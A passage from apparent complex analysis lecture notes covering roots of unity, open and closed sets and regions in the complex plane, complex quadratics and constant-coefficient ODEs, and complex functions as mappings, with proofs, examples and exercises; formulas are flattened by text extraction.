(reduce the exponent modulo n); the elements listed are distinct by Theorem 4.5, so the group is
cyclic of order n generated by ω.

(ii) Since n ≥ 2 we have ω ̸= 1, so the finite geometric series sums to
∑n−1
k=0 ω

k = ωn−1
ω−1 =

1−1
ω−1 = 0.

(iii) The polynomial zn − 1 has degree n, leading coefficient 1, and by Theorem 4.5 the n
distinct roots ω0, . . . , ωn−1. Dividing successively by (z − ωk) (polynomial division over the field
C) exhausts the degree, giving the stated factorisation.

(iv) Each z∗ω
k satisfies (z∗ω

k)n = zn∗ (ωn)k = w; they are n distinct numbers because z∗ ̸= 0
and the ωk are distinct; and by Theorem 4.5 there are no others.

Part (iv) is worth restating: the solution set of zn = w is a single solution times the group
µn. Geometrically, once you have found one root, the rest are obtained by rotating it repeatedly
through the angle 2π/n.

Example 4.10 (Solving a quartic by roots). Solve z4 = −16. Write −16 = 16eiπ. By (4.3) with
n = 4, ρ1/4 = 2 and arguments π+2kπ

4 for k = 0, 1, 2, 3, i.e. π
4 ,

3π
4 ,

5π
4 ,

7π
4 . Hence

z ∈
{√

2(1 + i),
√

2(−1 + i),
√

2(−1 − i),
√

2(1 − i)
}
.

Equivalently, one root is
√

2(1 + i) and the others are that root times i, −1, −i — the fourth
roots of unity, in accordance with Proposition 4.9(iv).

4.4 Exercises
Exercise 4.1. Compute, using polar form: (

√
3 + i)6, (1 − i)−8,

(−1+i
√

3
2

)2026.

Exercise 4.2. Find all solutions and plot them: z3 = 8i, z4 = 1, z6 = −1, z5 = 32, z2 = 3 − 4i.

Exercise 4.3. Show that the principal square root of a+ bi (b ̸= 0) is√
|a+ bi| + a

2 + i sgn(b)

√
|a+ bi| − a

2 .

(Set (x+ iy)2 = a+ bi, solve x2 − y2 = a, 2xy = b, and use x2 + y2 = |a+ bi|.) This formula is
used in Chapter 6.

Exercise 4.4. (⋆) Let n ≥ 2 and ω = e2πi/n. Prove that for j ∈ Z,

n−1∑
k=0

ωjk =
{
n, n | j,
0, otherwise.

This orthogonality relation is the whole of the discrete Fourier transform.

Exercise 4.5. Prove that the product of all n-th roots of unity is (−1)n+1.

Exercise 4.6. Let P be a regular n-gon inscribed in the unit circle with one vertex at 1. Prove
that the product of the distances from 1 to the other n− 1 vertices equals n. (Hint: factor zn−1

z−1
and let z → 1.)
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Exercise 4.7. Explain why
(
w1/n)n = {w} but

(
wn
)1/n has n elements in general. Which

containment always holds?

Exercise 4.8. Draw the n-th roots of unity for n = 3, 4, 6, 8 and verify (4.6) geometrically in
each case by adding the vectors head to tail. Why must the resulting polygon close up?

Exercise 4.9. Factor z6 − 1 completely over C, then group the conjugate pairs to factor it over
R into linear and irreducible quadratic factors. Do the same for z4 + 1, and note that this one
has no real linear factor.

Exercise 4.10. (⋆) Let ω = e2πi/n and let ζ be any n-th root of unity. Prove that ζ generates
all of µn — i.e. that {ζk : k ∈ Z} = µn — if and only if ζ = ωj with gcd(j, n) = 1. Count such ζ
for n = 12. (These are the primitive n-th roots of unity, and the count is Euler’s φ(n).)



Chapter 5

Sets of Points in the Complex Plane

Every later definition — limit, continuity, derivative, analyticity — quantifies over small discs.
This chapter fixes the vocabulary. All of it is the standard topology of R2 transcribed into complex
notation; nothing here is special to C, but the notation must be fluent before Part III.

5.1 Neighbourhoods
Definition 5.1 (Neighbourhood, punctured neighbourhood). Let z0 ∈ C and let ε > 0 be real.
The ε-neighbourhood of z0 is the open disc

D(z0, ε) = { z ∈ C : |z − z0| < ε }, (5.1)

and the punctured (or deleted) ε-neighbourhood is

D′(z0, ε) := D(z0, ε) \ {z0} = { z ∈ C : 0 < |z − z0| < ε }. (5.2)

Definition 5.2 (Interior, exterior, boundary). Let S ⊆ C and z0 ∈ C. We call z0

• an interior point of S if there is ε > 0 with D(z0, ε) ⊆ S;

• an exterior point of S if there is ε > 0 with D(z0, ε) ⊆ C \ S;

• a boundary point of S if it is neither, i.e. if for every ε > 0 the disc D(z0, ε) meets both S
and C \ S.

The sets of such points are written intS, extS, ∂S respectively. By construction

C = intS ⊔ ∂S ⊔ extS (disjoint union). (5.3)

S

interior

boundary

exterior

Figure 5.1. The trichotomy (5.3). An interior point of S carries a whole disc inside S; an exterior
point carries a whole disc inside the complement; a boundary point carries neither — every disc about
it, however small, meets both. The three classes partition the plane, whatever S is.
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Definition 5.3 (Open, closed, closure). A set S ⊆ C is open if every point of S is an interior point
of S, i.e. S = intS. It is closed if its complement C \ S is open. The closure of S is S := S ∪ ∂S.

Warning 5.4. “Open” and “closed” are not opposites. The set C is both open and closed; so is ∅.
The set {z : 0 < |z| ≤ 1} is neither.

Proposition 5.5 (Discs are open). For every z0 ∈ C and ρ > 0, the disc D(z0, ρ) of (2.2) is
open, the closed disc D(z0, ρ) of (2.3) is closed, and ∂D(z0, ρ) = ∂D(z0, ρ) = C(z0, ρ).

Proof. Let a ∈ D(z0, ρ), so |a− z0| < ρ. Put ε := ρ − |a− z0| > 0. If |z − a| < ε then by the
triangle inequality (1.27)

|z − z0| ≤ |z − a| + |a− z0| < ε+ |a− z0| = ρ,

so D(a, ε) ⊆ D(z0, ρ); hence a is interior and D(z0, ρ) is open.
For the closed disc, let b /∈ D(z0, ρ), i.e. |b− z0| > ρ, and put δ := |b− z0| − ρ > 0. If

|z − b| < δ then by the reverse triangle inequality (1.28), |z − z0| ≥ |b− z0| − |z − b| > ρ, so
D(b, δ) ⊆ C \D(z0, ρ). Hence the complement is open and D(z0, ρ) is closed.

Finally let |c− z0| = ρ and ε > 0. The points ct := z0 + t(c − z0) satisfy |ct − z0| = tρ and
|ct − c| = |1 − t| ρ; choosing t slightly less than 1 and slightly greater than 1 produces points of
D(z0, ρ) and of its complement inside D(c, ε). So c is a boundary point of both discs. Conversely
no point with |c− z0| ≠ ρ is a boundary point, by the two paragraphs above.

Example 5.6. (a) S = {z : Re z > 0} (open right half-plane) is open; ∂S is the imaginary axis;
S is not closed.

(b) S = {z : 1 ≤ |z| < 2} is neither open nor closed; intS = {1 < |z| < 2}, ∂S = C(0, 1)∪C(0, 2),
S = {1 ≤ |z| ≤ 2}.

(c) S = Z ⊆ C is closed with empty interior; ∂S = S.

(d) S = {z : Im z ̸= 0} is open and disconnected (see below).

5.2 Connectedness and regions
Definition 5.7 (Polygonal path). Let z0, z1, . . . , zm ∈ C. The polygonal path with these vertices
is the union of the m segments

[zj−1, zj ] := { (1 − t)zj−1 + tzj : t ∈ [0, 1] }, j = 1, . . . ,m. (5.4)

Definition 5.8 (Connected open set; region). An open set S ⊆ C is connected if for every pair
a, b ∈ S there is a polygonal path with z0 = a, zm = b and all segments (5.4) contained in S. A
nonempty connected open subset of C is called a region.

Remark 5.9. For open subsets of C the polygonal criterion of Definition 5.8 is equivalent to the
general topological notion of connectedness (no partition into two disjoint nonempty relatively
open pieces). We take the polygonal version as the definition because it is the one used in proofs
such as Theorem 14.13, where one integrates or estimates along a path.

Here is the proof of the equivalence. Let S ⊆ C be open; for an open S, “relatively open in
S” just means “open”.
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Polygonally connected ⇒ no partition. Suppose S = U ∪ V with U, V open, disjoint and
nonempty; pick a ∈ U , b ∈ V and a polygonal path in S with vertices a = z0, . . . , zm = b. Along
the path some segment [zj−1, zj ] has zj−1 ∈ U and zj ∈ V . Put γ(t) := (1 − t)zj−1 + tzj for
t ∈ [0, 1] and t∗ := sup{t ∈ [0, 1] : γ(t) ∈ U}. If γ(t∗) ∈ U then t∗ < 1 and, U being open
and γ continuous, γ(t) ∈ U for all t slightly larger than t∗, contradicting the definition of t∗. If
γ(t∗) ∈ V then t∗ > 0 and γ(t) ∈ V for all t ∈ (t∗ − δ, t∗] for some δ > 0, so no t in that interval
has γ(t) ∈ U , and t∗ is not the supremum. Both cases are impossible, since γ(t∗) ∈ S = U ∪ V .

No partition ⇒ polygonally connected. Fix a ∈ S, let U be the set of points of S that can
be joined to a by a polygonal path in S, and V := S \ U . If b ∈ S and D(b, ε) ⊆ S, then every
c ∈ D(b, ε) is joined to b by the segment [b, c] ⊆ D(b, ε) (a disc is convex). Hence if b ∈ U then
D(b, ε) ⊆ U (append [b, c] to a path from a to b), and if b ∈ V then D(b, ε) ⊆ V (a path from a to
some c in the disc followed by [c, b] would put b in U). So U and V are open, disjoint, and a ∈ U ;
as S admits no partition, V = ∅, i.e. every point of S is joined to a, and therefore any two points
of S are joined through a.
Remark 5.10 (Terminology). In these notes the word domain is used only for the domain of
definition of a function (Definition 7.1); an open connected set is always called a region. Books
differ here. Ahlfors and Stein–Shakarchi use region exactly as above, while Brown–Churchill call
a nonempty connected open set a domain and reserve region for a domain together with none,
some, or all of its boundary points.

Example 5.11. D(0, 1), the half-plane {Re z > 0}, the annulus {1 < |z| < 2}, and the slit plane
C \ (−∞, 0] are all regions. The set {Im z ̸= 0} is open but not connected (any polygonal path
from i to −i must cross the real axis), so it is not a region; it is a disjoint union of two regions.

a region

i

−i

blocked

open, not connected

Figure 5.2. Connectedness in the sense of Definition 5.8. Left: any two points of the annulus are
joined by a polygonal path staying inside it, so the annulus is a region even though it has a hole.
Right: the set {Im z ̸= 0} is open but not connected — every polygonal path from i to −i must cross
the forbidden real axis, so it is a disjoint union of two regions rather than one.

Definition 5.12 (Bounded, compact). A set S ⊆ C is bounded if there exists a real R > 0 with
S ⊆ D(0, R), i.e. |z| < R for all z ∈ S; otherwise S is unbounded. A set that is both closed and
bounded is called compact.

Theorem 5.13 (Heine–Borel / Bolzano–Weierstrass in C). Let S ⊆ C. The following are equiv-
alent:

(i) S is closed and bounded;

(ii) every sequence (zn)n∈N in S has a subsequence converging to a point of S.

Proof. This is the corresponding theorem for R2, transported by the identification of Defini-
tion 2.1: by Proposition 2.2 the metric |z − w| on C is the Euclidean metric on R2, so “closed”,
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“bounded”, and “convergent” mean the same in both languages. We record the sequential
form because it is what we use in Theorem 12.13. For completeness we deduce it from the
one fact we quote from real analysis, the Bolzano–Weierstrass theorem on R: every bounded
real sequence has a convergent subsequence. Here zn → z means |zn − z| → 0, which by
max(|Rew| , |Imw|) ≤ |w| ≤ |Rew| + |Imw| holds if and only if Re zn → Re z and Im zn → Im z.

(i)⇒(ii). Let (zn) lie in S ⊆ D(0, R). The real sequence (Re zn) is bounded by R, so it has a
convergent subsequence (Re znj ); the real sequence (Im znj ) is bounded too, so it has a convergent
subsequence. Along this sub-subsequence both real and imaginary parts converge, so it converges
to some z ∈ C. If z /∈ S, then z lies in the open set C \ S, so some disc D(z, ε) misses S; but the
terms of the sub-subsequence lie in S and eventually in D(z, ε), a contradiction. So z ∈ S.

(ii)⇒(i). If S is unbounded, choose zn ∈ S with |zn| ≥ n; no subsequence converges, since a
convergent sequence is bounded. If S is not closed, C \ S is not open, so there is b /∈ S such that
every disc D(b, 1/n) meets S; choose zn ∈ S ∩ D(b, 1/n). Then zn → b, so every subsequence
converges to b /∈ S (limits are unique), and (ii) fails.

Definition 5.14 (Accumulation point). A point z0 ∈ C is an accumulation point (or limit point)
of S ⊆ C if every punctured neighbourhood D′(z0, ε) of (5.2) meets S. This is exactly the
hypothesis under which the limit limz→z0 f(z) is meaningful in Definition 12.1: it guarantees
there are points of the domain of f arbitrarily close to z0 other than z0 itself.

5.3 Reading a set from an inequality
Most sets in this course are given by one or two inequalities involving |·|, Re, Im, or Arg. The
recipe is: rewrite until the condition is one of the four standard forms

|z − z0| ≶ ρ, Re(γz) ≶ c, Arg z ∈ (α, β), |z − a| ≶ k |z − b| ,

with ρ, k > 0, c ∈ R, γ ∈ C \ {0} and −π ≤ α < β ≤ π. These are, respectively: a disc or
the exterior of a closed disc; a half-plane; a sector; and, for k ̸= 1, an Apollonius disc or the
exterior of a closed Apollonius disc (for k = 1 a half-plane, by Proposition 2.5). For instance
|z − a| < k |z − b| with k > 1 is the exterior of a closed disc: it contains all z of large modulus,
since |z − a| / |z − b| → 1 < k as |z| → ∞.
Example 5.15. The set S = {z ̸= 0 : π

6 < Arg z < π
3 } is the open sector between the rays of

angle π/6 and π/3, excluding the origin. It is open (each of its points has a small disc inside the
sector) and connected, hence a region; it is unbounded; its boundary consists of the two closed
rays together with 0.
Example 5.16. The set T = {z : 0 < Im z < π} is a horizontal open strip. It is a region,
unbounded, with boundary the two lines Im z = 0 and Im z = π. It is half of the fundamental
strip of the complex exponential: exp maps T one-to-one onto the upper half-plane {Imw > 0}
(by Theorem 16.3(iii),(iv), which also describes the whole fundamental strip {−π < Im z ≤ π}).

Re

Im π
6 < Arg z < π

3

Re

Im

π

0 < Im z < π
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5.4 Exercises
Exercise 5.1. For each set, determine intS, ∂S, S; say whether S is open, closed, bounded, and,
when S is open, whether it is connected (Definition 5.8) and a region:

|z − 1 + i| ≤ 3, Re(z2) > 0, 0 < |z| < 1, { 1/n : n ∈ N }, |Im z| ≥ 1.

Exercise 5.2. Prove that an arbitrary union of open sets is open and that a finite intersection
of open sets is open. Give an example showing that an infinite intersection of open sets need not
be open.

Exercise 5.3. Prove S is closed, and that S is the smallest closed set containing S.

Exercise 5.4. (⋆) Let D be a region and let f : D → C be continuous with f(D) ⊆ {0, 1}.
Prove f is constant. (This is the mechanism behind Theorem 14.13: connectedness converts a
local statement into a global one.)

Exercise 5.5. Show that the sector {z ̸= 0 : α < Arg z < β} with −π < α < β ≤ π is a region,
and that it is convex if and only if β − α ≤ π.

Exercise 5.6. Determine the set of accumulation points (Definition 5.14) of each of

{ 1/n : n ∈ N }, { in/n : n ∈ N }, {m+ in : m,n ∈ Z }, { ein : n ∈ N }.

Which of these sets are closed?

Exercise 5.7. Prove that a nonempty set S ⊆ C is both open and closed if and only if S = C.
(This is the connectedness of C, and it is the engine of Theorem 24.8 and Theorem 24.11.)

Exercise 5.8. (⋆) Let K be compact and F closed with K ∩ F = ∅. Prove that dist(K,F ) :=
inf{|z − w| : z ∈ K, w ∈ F} is strictly positive and is attained. Give an example of two disjoint
closed sets whose distance is 0, showing compactness cannot be dropped.



Chapter 6

Applications: Quadratics and
Differential Equations

Complex numbers were forced on mathematics not by quadratics — one can simply declare x2+1 =
0 unsolvable — but by cubics, where the real roots of a real cubic are produced by Cardano’s
formula only through detours into C. This chapter gives two payoffs available immediately: a
complete theory of the quadratic, and a clean derivation of the real solutions of linear constant-
coefficient ODEs.

6.1 Quadratic equations over C

Lemma 6.1 (Square roots always exist). Every w ∈ C has exactly two square roots if w ̸= 0, and
exactly one (0) if w = 0. Explicitly, if w = a + bi with a, b ∈ R and b ̸= 0, the two square roots
are ±s where

s =

√
|w| + a

2 + i sgn(b)

√
|w| − a

2 , sgn(b) := b

|b|
. (6.1)

Proof. Existence and the count are Theorem 4.5 with n = 2. For the formula, seek s = x + iy
with x, y ∈ R and s2 = w. Comparing real and imaginary parts in s2 = (x2 − y2) + 2ixy gives

x2 − y2 = a, 2xy = b. (6.2)

Taking moduli in s2 = w and using (1.24) gives x2 + y2 = |s|2 = |w|. Adding and subtracting this
to the first equation of (6.2),

x2 = |w| + a

2 , y2 = |w| − a

2 ,

both right-hand sides being ≥ 0 because |w| ≥ |a| by (1.26). Thus x = ±
√

(|w| + a)/2 and
y = ±

√
(|w| − a)/2, and the second equation of (6.2) says xy has the sign of b, which selects the

two sign combinations (+,+ sgn b) and (−,− sgn b), i.e. ±s with s as in (6.1).

Theorem 6.2 (Quadratic formula in C). Let a, b, c ∈ C with a ̸= 0. The equation

az2 + bz + c = 0 (6.3)

36



CHAPTER 6. APPLICATIONS: QUADRATICS AND DIFFERENTIAL EQUATIONS 37

has exactly the solutions
z = −b+ s

2a , z = −b− s

2a , (6.4)

where s is either square root of the discriminant ∆ := b2 − 4ac ∈ C. These two solutions coincide
if and only if ∆ = 0.

Proof. Since a ̸= 0 and C is a field (Theorem 1.2), we may complete the square:

az2 + bz + c = a
[(
z + b

2a
)2

− b2 − 4ac
4a2

]
.

Hence (6.3) holds iff
(
z + b

2a
)2 = ∆

4a2 . By Lemma 6.1 the square roots of ∆/(4a2) are exactly
±s/(2a) where s2 = ∆, and solving for z gives (6.4). The two coincide iff s = −s, i.e. s = 0, i.e.
∆ = 0.

Remark 6.3. In (6.4) the symbol s is a chosen square root, not “the” square root: over C there is
no order to pick a “positive” one. The familiar notation z = −b±

√
b2−4ac

2a is still correct provided√
is read as “either square root”, as Warning 1.16 demands.

Example 6.4. Solve z2−(3+i)z+(2+2i) = 0. Here ∆ = (3+i)2−4(2+2i) = (9−1+6i)−(8+8i) =
−2i. To find a square root of −2i use (6.1) with a = 0, b = −2, |w| = 2:

s =
√

2+0
2 + i(−1)

√
2−0

2 = 1 − i.

Check: (1 − i)2 = 1 − 2i+ i2 = −2i. Hence

z = (3 + i) ± (1 − i)
2 ∈ { 2, 1 + i }.

Verification: 22 −(3+ i)2+(2+2i) = 4−6−2i+2+2i = 0, and (1+ i)2 −(3+ i)(1+ i)+(2+2i) =
2i− (2 + 4i) + (2 + 2i) = 0.

Theorem 6.5 (Fundamental Theorem of Algebra; stated). Every polynomial p(z) = anz
n+ · · ·+

a1z+a0 with n ≥ 1 and a0, . . . , an ∈ C, an ̸= 0, has at least one root in C; consequently it factors
completely,

p(z) = an

n∏
j=1

(z − ζj), ζj ∈ C. (6.5)

We do not prove Theorem 6.5 here. Every known proof needs a genuinely analytic (or topo-
logical) ingredient; in Chapter 22 (Theorem 22.4) it drops out of Liouville’s theorem in two lines.
It is stated now because it explains the difference between R and C: passing to C is done once,
and no further extension is ever needed.

6.2 Linear ODEs with constant coefficients
Complex exponentials turn linear constant-coefficient differential equations into algebra. Through-
out this section x denotes a real variable and y a function of x; we allow y to take complex values
and then extract real solutions at the end.
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Definition 6.6 (Complex-valued function of a real variable). Let I ⊆ R be an interval. A function
y : I → C is written y(x) = u(x) + iv(x) with u = Re y and v = Im y real-valued. We say y is
differentiable at x if u and v are, and set

y′(x) := u′(x) + i v′(x). (6.6)

The usual sum, product and quotient rules hold, with the same proofs, by separating real and
imaginary parts.

Lemma 6.7 (Derivative of eλx). Let λ = α+ iβ ∈ C with α, β ∈ R and define Eλ : R → C by

Eλ(x) := eαx
(
cosβx+ i sin βx

)
= eαxeiβx, (6.7)

the second expression using Definition 3.8. Then Eλ is differentiable on R and

E′
λ(x) = λEλ(x) for all x ∈ R. (6.8)

Moreover Eλ(x)Eµ(x) = Eλ+µ(x) and Eλ(x) ̸= 0 for every x.

Proof. Differentiate real and imaginary parts of (6.7):

ReEλ = eαx cosβx,
(
ReEλ

)′ = αeαx cosβx− βeαx sin βx,
ImEλ = eαx sin βx,

(
ImEλ

)′ = αeαx sin βx+ βeαx cosβx.

On the other hand, by (1.11),

λEλ(x) = (α+ iβ)eαx(cosβx+ i sin βx) = eαx
[
(α cosβx− β sin βx) + i(α sin βx+ β cosβx)

]
,

which matches. The multiplicative property follows from eα1xeα2x = e(α1+α2)x (real exponentials)
together with (3.8). Non-vanishing follows from |Eλ(x)| = eαx > 0 and (1.22).

Proposition 6.8 (Real and imaginary parts of a solution). Let a0, . . . , am ∈ R and let L be the
differential operator

L[y] := amy
(m) + am−1y

(m−1) + · · · + a1y
′ + a0y. (6.9)

If y : I → C satisfies L[y] = 0 on I, then the real-valued functions u = Re y and v = Im y each
satisfy L[u] = 0 and L[v] = 0 on I.

Proof. By (6.6) and induction, y(k) = u(k) + iv(k) for each k. Since the aj are real,

0 = L[y] =
∑
j

aj
(
u(j) + iv(j)) =

∑
j

aju
(j)

︸ ︷︷ ︸
real

+i
∑
j

ajv
(j)

︸ ︷︷ ︸
real

= L[u] + iL[v].

A complex number vanishes iff its real and imaginary parts vanish (1.5), so L[u] = L[v] = 0.

Proposition 6.8 fails if the aj are non-real; the reality of the coefficients is exactly what makes
the “take real parts” trick legal.
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Theorem 6.9 (Second-order equation, complex roots). Let p, q ∈ R and consider

y′′ + p y′ + q y = 0 on R. (6.10)

Let λ1, λ2 ∈ C be the roots of the characteristic equation

λ2 + pλ+ q = 0, (6.11)

which exist by Theorem 6.2. Then:

(i) Eλ1 and Eλ2 of (6.7) solve (6.10);

(ii) if p2 − 4q < 0, so that λ1,2 = α ± iβ with α = −p/2 and β = 1
2
√

4q − p2 > 0, then the
general real solution of (6.10) is

y(x) = eαx
(
c1 cosβx+ c2 sin βx

)
, c1, c2 ∈ R, (6.12)

equivalently y(x) = Aeαx cos(βx− ϕ) with amplitude A ≥ 0 and phase ϕ ∈ (−π, π].

Proof. (i) By Lemma 6.7, E′
λ = λEλ and hence E′′

λ = λ2Eλ. Therefore

E′′
λ + pE′

λ + qEλ =
(
λ2 + pλ+ q

)
Eλ,

which vanishes identically precisely when λ solves (6.11), because Eλ never vanishes.
(ii) Let ∆ = p2 − 4q < 0. Since

(
i
√

−∆
)2 = ∆, where

√
−∆ > 0 is the real square root of the

positive number −∆, we may take s = i
√

−∆ in Theorem 6.2, so λ1,2 = −p±i
√

4q−p2

2 = α± iβ. By
part (i) the complex function Eλ1(x) = eαx(cosβx+ i sin βx) solves (6.10), so by Proposition 6.8
both

y1(x) = eαx cosβx, y2(x) = eαx sin βx

are real solutions. They are linearly independent over R: their Wronskian is

W (x) = y1y
′
2 − y′

1y2 = e2αx[cosβx(α sin βx+ β cosβx) − (α cosβx− β sin βx) sin βx
]

= βe2αx,

which is nonzero since β > 0. By the standard existence and uniqueness theorem for second-
order linear ODEs (which we quote from the theory of ordinary differential equations), the real
solution space of (6.10) is two-dimensional, so {y1, y2} is a basis and (6.12) is the general real
solution. For the amplitude–phase form, set A :=

√
c2

1 + c2
2 and let ϕ := Arg(c1 + ic2) ∈ (−π, π] if

(c1, c2) ̸= (0, 0), and ϕ := 0 (with A = 0) otherwise; in both cases c1 = A cosϕ and c2 = A sinϕ,
so c1 cosβx+ c2 sin βx = A

(
cosϕ cosβx+ sinϕ sin βx

)
= A cos(βx− ϕ).

Re λ

Im λ

α+ iβ
decaying growing

y = eαx(c1 cosβx+ c2 sinβx)
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Figure 6.1. The characteristic root λ = α + iβ of (6.11) packs the entire qualitative behaviour of
the solution (6.12) into one point of the plane (the other root is its mirror image α− iβ, also drawn).
Its real part is the exponential growth rate (negative means decay), its imaginary part the angular
frequency. Left half-plane: decay. Right half-plane: growth. On the imaginary axis: undamped
oscillation. This is why engineers speak of “poles in the left half-plane” (the roots are the poles of the
system’s transfer function; poles are defined in Chapter 26).

Example 6.10 (Damped oscillator). Solve y′′ + 2y′ + 5y = 0 with y(0) = 1, y′(0) = 0. The
characteristic equation λ2 + 2λ+ 5 = 0 has discriminant 4 − 20 = −16, so λ = −2±4i

2 = −1 ± 2i,
giving α = −1, β = 2. By (6.12), y(x) = e−x(c1 cos 2x+ c2 sin 2x). From y(0) = c1 = 1 and

y′(x) = e−x[(−c1 + 2c2) cos 2x+ (−c2 − 2c1) sin 2x
]
, y′(0) = −c1 + 2c2 = 0,

we get c2 = 1
2 . Hence y(x) = e−x(cos 2x + 1

2 sin 2x
)

=
√

5
2 e

−x cos(2x − ϕ) with ϕ = arctan(1/2).
The complex root −1 + 2i encodes both the decay rate (Reλ = −1) and the oscillation frequency
(Imλ = 2) in one number; this is the reason engineers speak of poles in the left half-plane.

Example 6.11 (Forced oscillation by phasors). Solve y′′ + ω2
0y = F cosωx with ω ̸= ±ω0 and

F, ω0, ω ∈ R, ω0 > 0. Consider the complexified equation

Y ′′ + ω2
0Y = Feiωx, (6.13)

whose right-hand side has real part F cosωx. Try Y (x) = Ceiωx with C ∈ C constant. By
Lemma 6.7, Y ′′ = −ω2Ceiωx, so (6.13) becomes C(ω2

0 − ω2)eiωx = Feiωx, whence

C = F

ω2
0 − ω2 . (6.14)

Taking real parts, and using that ReL[Y ] = L[ReY ] because L[y] = y′′ +ω2
0y has real coefficients

(the computation in the proof of Proposition 6.8), we get L[ReY ] = Re
(
Feiωx

)
= F cosωx; this

gives the real particular solution yp(x) = F
ω2

0−ω2 cosωx. The whole method — replace cos by
eiωx, do algebra instead of trigonometry, take real parts — is the phasor calculus of electrical
engineering. With damping, y′′ +2γy′ +ω2

0y = F cosωx, the same computation gives the complex
amplitude

C = F

ω2
0 − ω2 + 2iγω

, (6.15)

and now |C| is the gain and − ArgC the phase lag — two real quantities read off from one complex
number by Definitions 1.12 and 3.3.

6.3 Exercises
Exercise 6.1. Solve over C: z2+z+1 = 0, z2−2iz−2 = 0, z2−(1+i)z+i = 0, 2z2+(3−i)z−2 = 0.

Exercise 6.2. Find a square root of −5 + 12i using (6.1), and verify it.

Exercise 6.3. Solve the initial value problems and express the answer in amplitude–phase form:

(a) y′′ + 4y = 0, y(0) = 0, y′(0) = 3; (b) y′′ + y′ + y = 0, y(0) = 2, y′(0) = −1.

Exercise 6.4. (⋆) Using (6.15), show that for fixed F, γ > 0 the gain |C| is maximised at
ω =

√
ω2

0 − 2γ2 when ω2
0 > 2γ2 (resonance), and is decreasing in ω otherwise.
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Exercise 6.5. Show that if λ1 = λ2 = λ (repeated root) then xEλ(x) also solves (6.10). (Differ-
entiate λ 7→ Eλ(x), or substitute directly.)

Exercise 6.6. Show that if p, q ∈ R and the roots of (6.11) are α± iβ with β > 0, then α = −p/2
and α2 + β2 = q. Deduce that the solution (6.12) decays for every initial condition if and only if
p > 0 and q > 0.

Exercise 6.7. Use the phasor method of Example 6.11 to solve y′′ + 3y′ + 2y = 5 cos 2x, giving
the steady-state solution in amplitude–phase form. Identify |C| and ArgC from (6.15).

Exercise 6.8. (⋆) (Cardano and the birth of C.) The cubic x3 = 15x + 4 has the obvious real
root x = 4. Cardano’s formula gives x = 3

√
2 +

√
−121 + 3

√
2 −

√
−121, where

√
−121 is read as

11i and the two cube roots u of 2 + 11i and v of 2 − 11i must be chosen with uv = 5 (one third
of the coefficient 15). Verify that (2 + i)3 = 2 + 11i and (2 − i)3 = 2 − 11i, and hence that the
choice u = 2 + i, v = 2 − i makes the formula produce 4 — but only by passing through numbers
that are not real. Using Theorem 4.5, find the other two admissible pairs (u, v) and the values
u+ v they give. This is the historical reason complex numbers had to be taken seriously.

Exercise 6.9. An RLC series circuit satisfies L q̈+R q̇+ 1
C q = V0 cosωt. Write the steady-state

current q̇ using a complex impedance Z = R+ i
(
ωL− 1

ωC

)
, and identify |Z| and ArgZ physically.

(Here L,R,C > 0 are the physical constants of the circuit, not the operator L of (6.9) or the
amplitude C of (6.14).)
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Chapter 7

Complex Functions as Mappings

7.1 What a complex function is, and why we cannot graph it
Definition 7.1 (Complex function). Let S ⊆ C. A complex function on S is a rule f assigning to
each z ∈ S exactly one w = f(z) ∈ C. The set S is the domain of definition of f (in these notes
the word domain is used only in this sense; an open connected set is a region, Definition 5.8), and

f(S) := { f(z) : z ∈ S } (7.1)

is the image (or range) of f .

Definition 7.2 (Real and imaginary components). Given f : S → C, define real-valued functions
u, v of two real variables by

u(x, y) := Re f(x+ iy), v(x, y) := Im f(x+ iy), (7.2)

for all x, y ∈ R with x+ iy ∈ S. Then

f(z) = u(x, y) + i v(x, y), z = x+ iy. (7.3)

We call u and v the component functions of f . Sometimes it is more convenient to use polar
coordinates and write f(z) = u(r, θ) + iv(r, θ) where z = reiθ; the meaning is always clear from
the names of the variables.

Example 7.3. For f(z) = z2 we have f(x+ iy) = (x2 − y2) + i(2xy), so

u(x, y) = x2 − y2, v(x, y) = 2xy. (7.4)

For f(z) = z we have u = x, v = −y. For f(z) = 1/z (z ̸= 0), using (1.20),

1
z

= z

|z|2
= x

x2 + y2 + i
−y

x2 + y2 . (7.5)

A real function g : R → R is visualised by its graph, a curve in R2. The graph of f : S → C
lives in C × C ∼= R4 and cannot be drawn. The standard replacement is the two-plane picture:
draw the domain in one copy of C (the z-plane) and the image in a second copy (the w-plane),
and study what f does to selected curves and regions.

43
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v
w = f(z)

w-plane

7.2 Mapping curves, mapping regions
Definition 7.4 (Image of a curve). Let γ : [a, b] → C be a continuous function of the real
parameter t (a parametrised curve) with γ([a, b]) ⊆ S, and let f : S → C. The image curve is
f ◦ γ : [a, b] → C, t 7→ f(γ(t)).

The practical technique for understanding a map f has three steps.

(1) Choose a family of curves that fills the domain and is adapted to f : usually the Cartesian
grid (x = const, y = const) or the polar grid (r = const, θ = const).

(2) Compute the image of each curve in the family, by eliminating the parameter from the pair
u, v of (7.2).

(3) Assemble: the image of a region bounded by such curves is the region bounded by their
images, provided f is continuous and one-to-one on the closed region, and one checks which
side is the image by testing a single interior point.

Step (3) is a heuristic, not a theorem of these notes: its proof rests on topological facts of Jordan-
curve type, which we take as known and do not prove, and whenever we use it (for instance in
Examples 9.5 and 11.5) the answer can be checked directly. Injectivity on the closed region cannot
be dropped: z2 is one-to-one on the open half-annulus {1 < |z| < 2, Im z > 0} but not on its
closure, and it maps it onto the annulus {1 < |w| < 4} minus the segment (1, 4), which is not
“the region bounded by” the image curves.

Example 7.5 (The map f(z) = z2 on the Cartesian grid). Use (7.4). On the vertical line x = c
(c ̸= 0) we have u = c2 − y2 and v = 2cy, so y = v/(2c) and

u = c2 − v2

4c2 , (7.6)

a parabola opening in the −u direction with vertex (c2, 0). On the horizontal line y = d (d ̸= 0),
u = x2 − d2, v = 2dx, so

u = v2

4d2 − d2, (7.7)

a parabola opening in the +u direction. The two families are confocal (common focus 0) and
meet at right angles — a first glimpse of conformality, proved in general in Chapter 13.
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Figure 7.1. Example 7.5: the Cartesian grid under w = z2. Vertical lines x = c become the leftward
parabolas (7.6); horizontal lines y = d become the rightward parabolas (7.7). The two families are
confocal, with common focus 0, and they meet at right angles — a fact we will explain in one line
once conformality is available (Theorem 13.10).
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angles at 0 multiplied by s, distances r↦ r s

B a path of maps
Figure 7.2 (animated). z2 on the Cartesian grid. A: every point moves in a straight line from z to
f(z). B: the upper half of the square unfolds through zs, 1 ≤ s ≤ 2: angles at 0 are multiplied by s,
the unit semicircle closes into the unit circle. C: the tiles on the left deform along the path of B.

